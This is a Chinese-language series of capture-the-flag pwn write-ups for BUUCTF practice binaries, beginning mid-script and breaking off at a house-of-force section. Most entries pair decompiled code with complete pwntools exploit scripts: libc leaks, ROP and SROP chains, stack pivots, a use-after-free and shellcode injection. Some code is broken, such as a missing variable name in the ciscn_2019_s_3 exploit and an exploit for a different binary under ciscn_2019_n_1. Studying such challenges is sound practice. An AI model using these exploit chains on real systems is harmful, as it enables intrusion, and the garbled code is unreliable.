p64(0 ) payload += p64(add_rsp_148) add(0x38 ,payload) flag_addr = next_rop_addr + 0x88 rop = p64(pop_rdi) + p64(0 ) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdi) + p64(0 ) + p64(openat_addr) rop += p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30 ) + p64(read_addr) rop += p64(pop_rdi) + p64(flag_addr) + p64(puts_addr) rop += '/flag\x00' sleep(0.5 ) sh.send(rop) sh.interactive()
ciscn_2019_n_1
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; init(*(_QWORD *)&argc, argv, envp); puts ("EEEEEEE hh iii " ); puts ("EE mm mm mmmm aa aa cccc hh nn nnn eee " ); puts ("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e " ); puts ("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee " ); puts ("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee " ); puts ("====================================================================" ); puts ("Welcome to this Encryption machine\n" ); begin("Welcome to this Encryption machine\n" ); while ( 1 ) { while ( 1 ) { fflush(0LL ); v4 = 0 ; __isoc99_scanf("%d" , &v4); getchar(); if ( v4 != 2 ) break ; puts ("I think you can do it by yourself" ); begin("I think you can do it by yourself" ); } if ( v4 == 3 ) { puts ("Bye!" ); return 0 ; } if ( v4 != 1 ) break ; encrypt(); begin("%d" ); } puts ("Something Wrong!" ); return 0 ; }
encrypt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 int encrypt () { size_t v0; char s[48 ]; __int16 v3; memset (s, 0 , sizeof (s)); v3 = 0 ; puts ("Input your Plaintext to be encrypted" ); gets(s); while ( 1 ) { v0 = (unsigned int )x; if ( v0 >= strlen (s) ) break ; if ( s[x] <= 96 || s[x] > 122 ) { if ( s[x] <= 64 || s[x] > 90 ) { if ( s[x] > 47 && s[x] <= 57 ) s[x] ^= 0xF u; } else { s[x] ^= 0xE u; } } else { s[x] ^= 0xD u; } ++x; } puts ("Ciphertext" ); return puts (s); }
没有binsh字符串,没有system函数,应该是一个puts函数泄露libc的题
BUUCTF的resource一栏有libc.so文件
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *p = remote("node3.buuoj.cn" ,25460 ) elf = ELF("./ciscn_2019_c_1" ) libc = ELF("./libc-2.27.so" ) puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] main_addr = elf.sym["main" ] libc_puts = libc.sym["puts" ] system = libc.sym["system" ] binsh = next (libc.search('/bin/sh' )) pop_rdi = 0x0400c83 leave_ret = 0x04006b9 payload = 'A' *(0x50 +8 ) + p64(pop_rdi)+ p64(puts_got) + p64(puts_plt) + p64(main_addr) p.recvuntil("Input your choice!\n" ) p.sendline("1" ) p.recvuntil("Input your Plaintext to be encrypted\n" ) p.sendline(payload) p.recvuntil('@\n' ) puts_real = u64(p.recv(6 ).ljust(8 ,"\x00" )) libc_base = puts_real - libc_puts system_real = system + libc_base binsh_real = binsh + libc_base payload = '\x00' *(0x50 +8 ) + p64(leave_ret) + p64(pop_rdi) + p64(binsh_real) + p64(system_real) p.recvuntil("Input your choice!\n" ) p.sendline("1" ) p.recvuntil("Input your Plaintext to be encrypted\n" ) p.sendline(payload) p.interactive()
还有一个坑就是Ubuntu18下面调用system要对齐栈,就需要用一个ret
参照EXP:[https://www.jianshu.com/p/f6839b1e7283 ](
ciscn_2019_n_3
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
发现程序有三个功能
1 2 3 4 puts ("1. New note" );puts ("2. Del note" );puts ("3. Show note" );puts ("4. Purchase Pro Edition" )
rec_str_free
1 2 3 4 5 6 int __cdecl rec_str_free (void *ptr) { free (*((void **)ptr + 2 )); free (ptr); return puts ("Note freed!" ); }
free后指针未清零
3.GDB动态调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 newnote(0 ,2 ,'a' *10 ,0x88 ) 0x8cf7000 FASTBIN { prev_size = 0 , size = 17 , fd = 0x80486de <rec_str_print>, bk = 0x8048725 <rec_str_free>, fd_nextsize = 0x8cf7018 , bk_nextsize = 0x91 } 0x8cf7010 PREV_INUSE { prev_size = 147812376 , size = 145 , fd = 0x61616161 , bk = 0x61616161 , fd_nextsize = 0xa6161 , bk_nextsize = 0x0 }
发现申请的堆里面含有rec_str_free的指针
我们可以利用UAF来修改指针,从而getshell
4.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *context.log_level = 'debug' elf = ELF("ciscn_2019_n_3" ) p = process("./ciscn_2019_n_3" ) def newnote (idx,type ,value,length=0 ): p.recvuntil("CNote > " ) p.sendline(str (1 )) p.recvuntil("Index > " ) p.sendline(str (idx)) p.recvuntil("Type > " ) p.sendline(str (type )) if type == 1 : p.recvuntil("Value > " ) p.sendline(str (value)) else : p.recvuntil("Length > " ) p.sendline(str (length)) p.recvuntil("Value > " ) if length == 8 : p.send(value) else : p.sendline(value) def delnote (idx ): p.recvuntil("CNote > " ) p.sendline(str (2 )) p.recvuntil("Index > " ) p.sendline(str (idx)) def shownote (idx ): p.recvuntil("CNote > " ) p.sendline(str (3 )) p.recvuntil("Index > " ) p.sendline(str (idx)) if __name__ == "__main__" : newnote(0 ,2 ,'a' *10 ,0x88 ) newnote(1 ,2 ,'a' *10 ,0x38 ) gdb.attach(p) newnote(2 ,1 ,0x41 ) delnote(1 ) delnote(2 ) newnote(3 ,2 ,'aaaa' +p32(elf.plt['system' ]),0xc ) newnote(4 ,2 ,"/bin/sh\x00" ,0x38 ) delnote(1 ) p.interactive()
ciscn_2019_n_5
1.checksec
1 2 3 4 5 6 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
2.IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { char v4; setvbuf(stdout , 0LL , 2 , 0LL ); puts ("tell me your name" ); read(0 , &name, 0x64 uLL); puts ("wow~ nice name!" ); puts ("What do you want to say to me?" ); gets(&v4, &name); return 0 ; }
name
1 2 3 4 5 6 7 8 9 .bss:0000000000601080 public name .bss:0000000000601080 name db ? ; ; DATA XREF: main+35↑o .bss:0000000000601081 db ? ; .bss:0000000000601082 db ? ; .bss:0000000000601083 db ? ; .bss:0000000000601084 db ? ; .bss:0000000000601085 db ? ; .bss:0000000000601086 db ? ; .bss:0000000000601087 db ? ;
既然没有保护,应该是shellcode,所以不要往复杂的方向想
shellcode + 溢出 + 栈转移
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,26651 ) elf = ELF("./ciscn_2019_n_5" ) context(arch='amd64' ,os='linux' ) name_addr = 0x0601080 shellcode = asm(shellcraft.sh()) p.recvuntil('tell me your name\n' ) p.sendline(shellcode) payload = 'a' *(0x20 +8 )+p64(name_addr) p.recvuntil('me?' ) p.sendline(payload) p.interactive()
context的类型一定要写
ciscn_2019_n_8
1.checksec()
1 2 3 4 5 6 [*] '/root/download/BUUCTF/ciscn_2019_n_8/ciscn_2019_n_8' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
全保护,我尿了
2.IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; int v5; var[13 ] = 0 ; var[14 ] = 0 ; init(); puts ("What's your name?" ); __isoc99_scanf("%s" , var, v4, v5); if ( *(_QWORD *)&var[13 ] ) { if ( *(_QWORD *)&var[13 ] == 17LL ) system("/bin/sh" ); else printf ( "something wrong! val is %d" , var[0 ], var[1 ], var[2 ], var[3 ], var[4 ], var[5 ], var[6 ], var[7 ], var[8 ], var[9 ], var[10 ], var[11 ], var[12 ], var[13 ], var[14 ]); } else { printf ("%s, Welcome!\n" , var); puts ("Try do something~" ); } return 0 ; }
第一个输入让var[13]为17可以进入,不管用啥方式,覆盖52个位置就可以传递17这个数字了,超级简单
3.EXP
1 2 3 4 5 6 7 from pwn import *p = remote("node3.buuoj.cn" ,26629 ) payload = "a" *52 + p32(17 ) p.sendlineafter("?" ,payload) p.interactive()
ciscn_2019_ne_5
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 int __cdecl main (int argc, const char **argv, const char **envp) { int v3; char src[4 ]; char v5; char s1[4 ]; char v7; int *v8; v8 = &argc; setbuf(stdin , 0 ); setbuf(stdout , 0 ); setbuf(stderr , 0 ); fflush(stdout ); *(_DWORD *)s1 = 48 ; memset (&v7, 0 , 0x60 u); *(_DWORD *)src = 0x30 ; memset (&v5, 0 , 0x7C u); puts ("Welcome to use LFS." ); printf ("Please input admin password:" ); __isoc99_scanf((int )"%100s" , (int )s1); if ( strcmp (s1, "administrator" ) ) { puts ("Password Error!" ); exit (0 ); } puts ("Welcome!" ); while ( 1 ) { puts ("Input your operation:" ); puts ("1.Add a log." ); puts ("2.Display all logs." ); puts ("3.Print all logs." ); printf ("0.Exit\n:" ); __isoc99_scanf((int )"%d" , (int )&v3); switch ( v3 ) { case 0 : exit (0 ); return ; case 1 : AddLog((int )src); break ; case 2 : Display(src); break ; case 3 : Print(); break ; case 4 : GetFlag(src); break ; default : continue ; } } }
GetFlag
1 2 3 4 5 6 7 8 9 10 int __cdecl GetFlag (char *src) { char dest[4 ]; char v3; *(_DWORD *)dest = 0x30 ; memset (&v3, 0 , 0x3C u); strcpy (dest, src); return printf ("The flag is your log:%s\n" , dest); }
取程序里面fflush的sh填入system参数+栈溢出
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *p = remote("node3.buuoj.cn" ,26685 ) elf = ELF("./ciscn_2019_ne_5" ) sys_addr = elf.plt['system' ] sh_addr = 0x080482E0 +0xA payload = 'a' *(0x48 +4 )+p32(sys_addr)+'aaaa' +p32(sh_addr) p.recvuntil('Please input admin password:' ) p.sendline('administrator' ) p.recvuntil('0.Exit\n:' ) p.sendline('1' ) p.recvuntil('Please input new log info:' ) p.sendline(payload) p.recvuntil('0.Exit\n:' ) p.sendline('4' ) p.interactive()
ciscn_2019_s_3
1.checksec()
1 2 3 4 5 6 7 root@joe1sn:~/download/BUUCTF/ciscn_2019_s_3# checksec ciscn_s_3 [*] '/root/download/BUUCTF/ciscn_2019_s_3/ciscn_s_3' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
1 2 3 4 int __cdecl main (int argc, const char **argv, const char **envp) { return vuln(); }
vuln
1 2 3 4 5 6 7 8 9 signed __int64 vuln () { signed __int64 result; __asm { syscall; LINUX - sys_read } result = 1LL ; __asm { syscall; LINUX - sys_write } return result; }
居然是汇编,这种题从来没遇见过
不过看得出来(结合汇编)
sys_write:向栈上写数据(0x400)
sys_read:从栈上读数据(0x30)
查了查WP
https://blog.csdn.net/github_36788573/article/details/103541178
3WriteUp分析
主要是gadget函数有东西
1 2 3 4 5 6 7 8 9 10 ; __unwind { push rbp mov rbp, rsp mov rax, Fh retn mov rax, 59 retn pop rbp retn } // starts at 4004D6
先是向rax传递了0xf,在linux的系统调用表示
sys_rt_sigreturn(unsigned long _unused)
15号系统调用sigreturn。这个系统调用是在终止信号恢复用户态环境时用的。那么我们在栈上伪造寄存器的值,那么恢复时就可将寄存器控制为我们想要的值。
向rax传递了59,在linux的系统调用表示
sys_exec(const char *filename,const char *const argv[],const char *,const envp[])
就相当于system函数
59号系统调用是execve那么就可以想办法控制寄存器的值调用execve(“/bin/sh”,0,0),注意在调用execve时,后面两个参数需要置0,由于需要控制rdx的值,所以选择使用通用gadget,__libc_csu_init。
这就引申出两种解题方法
4.1 59号系统调用
ropgadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Gadgets information ============================================================ 0x00000000004004a3 : mov byte ptr [rip + 0x200b86], 1 ; ret 0x00000000004004e3 : mov eax, 0x3b ; ret 0x00000000004004db : mov eax, 0xf ; ret 0x00000000004004d8 : mov ebp, esp ; mov rax, 0xf ; ret 0x00000000004004e2 : mov rax, 0x3b ; ret 0x00000000004004da : mov rax, 0xf ; ret 0x000000000040059c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040059e : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004005a0 : pop r14 ; pop r15 ; ret 0x00000000004005a2 : pop r15 ; ret 0x00000000004004a2 : pop rbp ; mov byte ptr [rip + 0x200b86], 1 ; ret 0x000000000040059b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040059f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400440 : pop rbp ; ret 0x00000000004005a3 : pop rdi ; ret 0x00000000004005a1 : pop rsi ; pop r15 ; ret 0x000000000040059d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004003a9 : ret Unique gadgets found: 18
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,26249 ) vuln_addr = 0x04004ED execv = 0x04004E2 pop_rdi = 0x04005A3 pop_5_ret = 0x040059A mov_RDX_r13 =0x0400580 sys_write = 0x0400517 payload = "/bin/sh\x00" *2 + p64(vuln_addr) p.send(payload) p.recv(0x20 ) = u64(p.recv(8 )) - 280 print (hex ( ))payload = "/bin/sh\x00" *2 + p64(pop_5_ret) + p64(0 )*2 payload += p64( +0x50 )+p64(0 )*3 payload += p64(mov_RDX_r13) + p64(execv) payload += p64(pop_rdi) + p64( ) + p64(sys_write) p.send(payload) p.interactive()
这个EXP是可以打通的,看上去和普通write泄露libc的EXP差不多
其实包含了很多汇编的底层知识
4.2FramingSignals-AReturntoPortableShellcode
SROP
FramingSignals-AReturntoPortableShellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *io=process('./ciscn_s_3' ) main=0x0004004ED sigret=0x4004DA sys=0x400517 pl1='/bin/sh\x00' *2 +p64(main) io.send(pl1) io.recv(0x20 ) sh=u64(io.recv(8 ))-280 print (hex (sh))frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = sh frame.rsi = 0 frame.rdx = 0 frame.rip = sys pl1='a' *16 +p64(sigret)+p64(sys)+str (frame) ''' def debug(addr): raw_input('debug:') gdb.attach(io, "b *" + addr) debug('0x400514') ''' pl2='/bin/sh\x00' *2 +p64(sigret)+p64(sys)+str (frame) io.send(pl2) io.interactive()
参考南梦的打法
[CTF-BUUCTF-Pwn刷题之旅-](https://196011564.github.io/2019/07/13/CTF-BUUCTF-Pwn%E5%88%B7%E9%A2%98%E4%B9%8B%E6%97%85-(1)/
ciscn_2019_s_4
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
vuln
1 2 3 4 5 6 7 8 9 10 int vul () { char s; memset (&s, 0 , 0x20 u); read(0 , &s, 0x30 u); printf ("Hello, %s\n" , &s); read(0 , &s, 0x30 u); return printf ("Hello, %s\n" , &s); }
两次很短的栈溢出,第一次ebp leak
,第二次leave ret
3.GDB
1 2 3 ECX: 0xffffcff0 ('a' <repeats 36 times>, "\n\320\377\377(\320\377\377*\206\004\b\334c\373\367@\320\377\377") ................ EBP: 0xffffd018 --> 0xffffd028 --> 0x0
1 2 >>> hex (0xffffcff0 - 0xffffd018 )'-0x28'
下一步时,程序会抬栈,所以这时候的buf为0xffffd028
,偏移量为0x28-0x10
主要目标是:让程序ret
到栈开始的地方,将刚才构造的payload
当作命令执行
1 pl2=('aaaa' +p32(sys_plt)+'bbbb' +p32(buf+0x10 )+'/bin/sh\x00' ).ljust(0x28 ,'a' )+p32(buf)+p32(leave)
4.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context.log_level = "debug" p = process("./ciscn_s_4" ) elf = ELF("./ciscn_s_4" ) leave=0x8048562 sys_plt=0x8048400 pl1='a' *0x24 +'bbbb' p.send(pl1) p.recvuntil('bbbb' ) ebp=u32(p.recv(4 )) success("EBP =>0x%x" ,ebp) context.terminal=["tmux" ,'splitw' ,'-h' ] gdb.attach(p) buf=ebp-0x38 pl2=('aaaa' +p32(sys_plt)+'bbbb' +p32(buf+16 )+'/bin/sh\x00' ).ljust(0x28 ,'a' )+p32(buf)+p32(leave) p.send(pl2) p.interactive()
cisncn_2019_s_6
和ciscn_2019_es_1 一样
ciscn_2019_s_9
1.checksec
1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
估计和shellcode相关
2.IDA
pwn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int pwn () { char s[24 ]; puts ("\nHey! ^_^" ); puts ("\nIt's nice to meet you" ); puts ("\nDo you have anything to tell?" ); puts (">" ); fflush(stdout ); fgets(s, 50 , stdin ); puts ("OK bye~" ); fflush(stdout ); return 1 ; }
第十行栈溢出
hint
1 2 3 4 5 6 7 8 9 ; Attributes: bp-based frame ;void hint public hint hint proc near ; __unwind { push ebp mov ebp, esp jmp esp hint endp
利用jmp esp
实现跳转
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context.log_level = "debug" elf = ELF("./ciscn_s_9" ) p = remote("node3.buuoj.cn" ,"25940" ) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" gadget = asm("sub esp,0x28 ; jmp esp" ) jmp_esp = 0x08048554 payload = shellcode.ljust(0x24 ,'\x00' )+p32(jmp_esp)+gadget p.sendline(payload) p.interactive()
cmcc_pwnme1
1.checksec
1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
2.IDA
getfruit
1 2 3 4 5 6 7 8 9 int getfruit () { char v1; fflush(stdout ); printf ("Please input the name of fruit:" ); __isoc99_scanf("%s" , &v1); return printf ("oh,%s...\n" , &v1); }
栈溢出
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *from LibcSearcher import *context.log_level = "debug" elf = ELF("./pwnme1" ) p = remote("node3.buuoj.cn" ,"28427" ) puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] getfruit = 0x08048624 payload = 'a' *(0xA4 +4 ) payload += p32(puts_plt)+p32(getfruit)+p32(puts_got) p.sendlineafter(">> 6. Exit " ,'5' ) p.sendlineafter("Please input the name of fruit:" ,payload) puts_real = u32(p.recvuntil('\xf7' )[-4 :].ljust(4 ,'\x00' )) libc = LibcSearcher("puts" ,puts_real) base = puts_real-libc.dump("puts" ) sys_addr = base+libc.dump("system" ) binsh = base+libc.dump("str_bin_sh" ) success("libc base 0x%x" ,base) success("binsh 0x%x" ,binsh) success("system 0x%x" ,sys_addr) payload = 'a' *(0xA4 +4 ) payload += p32(sys_addr)+'aaaa' +p32(binsh) p.sendlineafter("Please input the name of fruit:" ,payload) p.interactive()
cmcc_pwnme2
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
userfunction
1 2 3 4 5 6 int __cdecl userfunction (char *src) { char dest; strcpy (&dest, src); return printf ("Hello, %s\n" , src); }
之前在main
里面输入过多的话,会导致这里栈溢出
exec_string
1 2 3 4 5 6 7 8 9 10 11 12 13 int exec_string () { char s; FILE *stream; stream = fopen(&string , "r" ); if ( !stream ) perror("Wrong file" ); fgets(&s, 50 , stream); puts (&s); fflush(stdout ); return fclose(stream); }
string
变量在bss段上,要想执行它,就必须把/flag
命令写到string
上,这里就可以构造payload
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context.log_level = "debug" sh = remote("node3.buuoj.cn" ,28490 ) elf = ELF("pwnme2" ) pop_ebp_ret = 0x08048680 offset = 0x6C +4 payload = offset * "a" payload += p32(elf.plt['gets' ]) payload += p32(pop_ebp_ret) payload += p32(0x0804A060 ) payload += p32(0x080485CB ) sh.sendlineafter("Please input:" ,payload) sh.sendline("/flag" ) sh.interactive()
cmcc_simplerop
1.checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
发现了超级多的无用函数
main
1 2 3 4 5 6 7 8 9 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; puts ("ROP is easy is'nt it ?" ); printf ("Your input :" ); fflush(stdout ); return read(0 , &v4, 100 ); }
很明显的read
溢出,但是不大好的构造ropchain,所以先用ROPgadget自动生成ropchain,但是需要调整长度
ROPgadget --binary simplerop --ropchain
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *from struct import packio=remote("node3.buuoj.cn" ,25035 ) io.recvuntil(':' ) p = 'a' *0x14 +p32(1 )*3 p += pack('<I' , 0x0806e82a ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080bae06 ) p += '/bin' p += pack('<I' , 0x0809a15d ) p += pack('<I' , 0x0806e82a ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080bae06 ) p += '//sh' p += pack('<I' , 0x0809a15d ) p += pack('<I' , 0x0806e850 ) p += pack('<I' , 0x0 ) p += pack('<I' , 0x0 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080bae06 ) p += pack('<I' , 0xb ) p += pack('<I' , 0x080493e1 ) io.send(p) io.interactive() print hex (len (p))
ez_pz_hackover_2016
1.checksec
1 2 3 4 5 6 Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
2.IDA
main
1 2 3 4 5 6 7 int __cdecl main (int argc, const char **argv, const char **envp) { setbuf(stdout , 0 ); header(); chall(); return 0 ; }
chall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int chall () { size_t v0; int result; char s; _BYTE *v3; printf ("Yippie, lets crash: %p\n" , &s); printf ("Whats your name?\n" ); printf ("> " ); fgets(&s, 1023 , stdin ); v0 = strlen (&s); v3 = memchr (&s, 10 , v0); if ( v3 ) *v3 = 0 ; printf ("\nWelcome %s!\n" , &s); result = strcmp (&s, "crashme" ); if ( !result ) result = vuln((unsigned int )&s, 0x400 u); return result; }
vuln
1 2 3 4 5 6 void *__cdecl vuln (char src, size_t n) { char dest; return memcpy (&dest, &src, n); }
strlen()遇见’\x00’截断
s 和 vuln里面dest 的ebp 的距离
memchr比较前十个字符串
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *p = remote("node3.buuoj.cn" ,29397 ) p.recvuntil("Yippie, lets crash: 0x" ) stack_addr = int (p.recv(8 ),16 ) print hex (stack_addr)payload = "crashme\x00" + 'a' *(0x40 -0x32 +4 ) payload += p32(stack_addr-(0x40 -0x32 +4 +10 )) + asm(shellcraft.sh()) p.sendlineafter("> " ,payload) p.interactive()
get_started_3dsctf_2016
1.checksec()
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { char v4; printf ("Qual a palavrinha magica? " , v4); gets(&v4); return 0 ; }
get_flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 void __cdecl get_flag (int a1, int a2) { int v2; int v3; unsigned __int8 v4; int v5; unsigned __int8 v6; if ( a1 == 814536271 && a2 == 425138641 ) { v2 = fopen("flag.txt" , "rt" ); v3 = v2; v4 = getc(v2); if ( v4 != 255 ) { v5 = (char )v4; do { putchar (v5); v6 = getc(v3); v5 = (char )v6; } while ( v6 != 255 ); } fclose(v3); } }
其实主要分析可知,这个程序的大致意思是修改eip改变程序流,最后执行cat_flag
但是BUU远程打不通,要使用mprotec函数修改内存的权限为可读可写可执行,再使用read函数写入shellcode到被解放的bss段
1 2 #include <sys/mman.h> int mprotect (void *addr, size_t len, int prot) ;
所以我们需要三个参数,就要ppp_ret
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *p=remote('node3.buuoj.cn' ,28495 ) elf=ELF('./get_started_3dsctf_2016' ) pop3_ret = 0x0804951D get_flag = 0x080489A0 got_addr = 0x080EB000 payload = 'a' *0x38 +p32(elf.symbols['mprotect' ]) payload += p32(pop3_ret)+p32(got_addr)+p32(0x1d8c )+p32(0x7 ) payload += p32(elf.symbols['read' ]) payload += p32(pop3_ret)+p32(0 )+p32(got_addr)+p32(0x100 )+p32(got_addr) p.sendline(payload) payload=asm(shellcraft.sh()) p.sendline(payload) p.interactive()
gyctf_2020_borrowstack
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { char buf; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); puts (&s); read(0 , &buf, 0x70 uLL); puts ("Done!You can check and use your borrow stack now!" ); read(0 , &bank, 0x100 uLL); return 0 ; }
第一步栈迁移,第二步抬高栈了过后libc leak
,程序返回至第一个read,第三步one gadget
来getshell
3.EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *context.log_level = "debug" io=remote('node3.buuoj.cn' ,25707 ) bank=0x0601080 leave=0x400699 puts_plt=0x04004E0 puts_got=0x0601018 pop_rdi=0x400703 main=0x0400626 ret=0x4004c9 io.recvuntil('u want' ) pl1='a' *0x60 +p64(bank)+p64(leave) io.send(pl1) io.recvuntil('now!' ) pl2=p64(ret)*20 ''' ret指令用栈中的数据,修改IP的值,从而实现近转移。 CPU执行ret指令时,进行下面两步操作: (IP)=((SS)*16+(SP)) (SP)=(SP)+2; ''' pl2+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.send(pl2) io.recvline() puts_add=u64(io.recv(6 ).ljust(8 ,'\x00' )) libc_base=puts_add-0x06f690 one_gadget=libc_base+0x4526a pl3='a' *0x60 +'bbbbbbbb' +p64(one_gadget) io.send(pl3) io.interactive()
gyctf_2020_force
1.checksec
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2.IDA
有用的基本只有add
1 2 3 4 5 6 7 def add (sz,text ): p.sendlineafter("2:puts\n" ,"1" ) p.sendlineafter("size\n" ,str (sz)) p.recvuntil("bin addr " ) addr = int (p.recvuntil('\n' ).strip(), 16 ) p.sendafter("content\n" ,text) return addr
add
1 2 3 4 5 6 puts ("size" );read(0 , nptr, 0xF uLL); size = atol(nptr); *(_QWORD *)i = malloc (size); if ( !*(_QWORD *)i ) exit (0 );
add 会返回堆的地址,所以可以利用这个来获取偏移量
add 同时存在堆溢出,使得我们可以覆盖 top chunk 的 size 域
可以多次申请。综上,符合house of force的攻击条件
1.libc leak 2.hof 3.malloc_hook+one gadget
3.GDB
0x1 libc leak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 1:add 2:puts 1 size 2097152 bin addr 0x7ffff780c010 content aaaa >vmmap 0x7ffff780c000 0x7ffff7a0d000 rw-p 201000 0 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so >In python >>> hex(0x7ffff7a0d000 - 0x7ffff780c010) '0x200ff0'
得到偏移 0x200ff0
0x2 house of force
